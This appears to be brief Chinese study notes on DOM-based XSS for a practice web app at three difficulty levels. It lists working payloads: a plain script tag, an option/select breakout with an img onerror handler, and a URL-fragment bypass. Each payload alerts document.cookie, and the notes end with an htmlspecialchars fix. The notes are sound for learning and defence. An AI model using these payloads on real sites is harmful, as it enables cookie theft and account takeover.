xss dom

0x01 low

<script>alert(document.cookie)</script>

弹个窗

script被写入html

0x02 medium

过滤<script

考虑使用img标签，其onerror属性在该元素加载src错误时触发
注入元素被写入value，就在value闭合option 和 select标签

</option></select><img src=1 onerror=alert(document.cookie)>

0x03 high

参数接收属于php代码，使用#注释，参数不会被发送到后端，但会在浏览器中执行

English #<script>alert(document.cookie)</script>

0x04 Repair 修复漏洞

$message = htmlspecialchars($message);
$name = htmlspecialchars($name);

htmlspecialchars非常好用，将尖括号转化为html实体，浏览器前端代码不执行
或者用正则把尖括号过滤也能成，尖括号在js或html中被广泛用到